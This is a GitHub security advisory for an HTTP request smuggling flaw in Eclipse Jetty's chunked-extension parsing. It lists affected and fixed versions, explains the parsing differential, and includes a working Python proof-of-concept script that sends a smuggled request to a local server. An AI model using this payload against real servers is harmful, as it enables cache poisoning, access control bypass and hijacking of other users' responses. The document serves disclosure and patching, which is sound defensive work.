GitHub Advisoryadvisory · Maven

GHSA-355h-qmc2-wpwf Jetty has HTTP Request Smuggling via Chunked Extension Quoted-String Parsing

HIGH Published 2026-04-14 Modified 2026-08-14 Official page ↗
Aliases
CVE-2026-2332
Ecosystem
Maven
Packages
org.eclipse.jetty:jetty-http
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Weaknesses
CWE-444
Reviewed
2026-04-14

Affected packages

• Maven org.eclipse.jetty:jetty-http: >= 12.1.0, < 12.1.7 → fixed in 12.1.7 • Maven org.eclipse.jetty:jetty-http: >= 12.0.0, < 12.0.33 → fixed in 12.0.33 • Maven org.eclipse.jetty:jetty-http: >= 11.0.0, < 11.0.29 → fixed in 11.0.29 • Maven org.eclipse.jetty:jetty-http: >= 10.0.0, < 10.0.28 → fixed in 10.0.28 • Maven org.eclipse.jetty:jetty-http: >= 9.4.0, < 9.4.60 → fixed in 9.4.60

Description

Description (as reported) Jetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks. Background This vulnerability is a new variant discovered while researching the "Funky Chunks" HTTP request smuggling techniques: • https://w4ke.info/2025/06/18/funky-chunks.html • https://w4ke.info/2025/10/29/funky-chunks-2.html The original research tested various chunk extension parsing differentials but did not test quoted-string handling within extension values. Technical Details RFC 9112 Section 7.1.1 defines chunked transfer encoding: ``` chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] ) chunk-ext-val = token / quoted-string ``` RFC 9110 Section 5.6.4 defines quoted-string: ``` quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE ``` A quoted-string continues until the closing DQUOTE, and `\r\n` sequences are not permitted within the quotes. Vulnerability Jetty terminates chunk header parsing at `\r\n` inside quoted strings instead of treating this as an error. Expected (RFC compliant): ``` Chunk: 1;a="value\r\nhere"\r\n ^^^^^^^^^^^^^^^^^^ extension value Body: [1 byte after the real \r\n] ``` Actual (jetty): ``` Chunk: 1;a="value ^^^^^ terminates here (WRONG) Body: here"... treated as body/next request ``` Proof of Concept ```python !/usr/bin/env python3 import socket payload = ( b"POST / HTTP/1.1\r\n" b"Host: localhost\r\n" b"Transfer-Encoding: chunked\r\n" b"\r\n" b'1;a="\r\n' b"X\r\n" b"0\r\n" b"\r\n" b"GET /smuggled HTTP/1.1\r\n" b"Host: localhost\r\n" b"Content-Length: 11\r\n" b"\r\n" b'"\r\n' b"Y\r\n" b"0\r\n" b"\r\n" ) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(3) sock.connect(("127.0.0.1", 8080)) sock.sendall(payload) response = b"" while True: try: chunk = sock.recv(4096) if not chunk: break response += chunk except socket.timeout: break sock.close() print(f"Responses: {response.count(b'HTTP/')}") print(response.decode(errors="replace")) ``` Result: Server returns 2 HTTP responses from a single TCP connection. Parsing Breakdown | Parser | Request 1 | Request 2 | |--------|-----------|-----------| | jetty (vulnerable) | POST / body="X" | GET /smuggled (SMUGGLED!) | | RFC compliant | POST / body="Y" | (none - smuggled request hidden in extension) | Impact • Request Smuggling: Attacker injects arbitrary HTTP requests • Cache Poisoning: Smuggled responses poison shared caches • Access Control Bypass: Smuggled requests bypass frontend security • Session Hijacking: Smuggled requests can steal other users' responses Reproduction 1. Start the minimal POC with docker 2. Run the poc script provided in same zip Suggested Fix Ensure the chunk framing and extensions are parsed exactly as specified in RFC9112. A CRLF inside a quoted-string should be considered a parsing error and not a line terminator. Patches No patches yet. Workarounds No workarounds yet. References • RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1) • Funky Chunks Research: https://w4ke.info/2025/06/18/funky-chunks.html • details for security versions https://jetty.org/security.html

Related

Alias · CVE (1)

  • CVE-2026-2332 In Eclipse Jetty, the HTTP/1.1 parser is vulnerable to request smuggling when chunk extensions are used, similar to the "funky chunks"… vulnerability

Weakness · CWE (1)

  • CWE-444 Inconsistent Interpretation of HTTP Requests weakness

References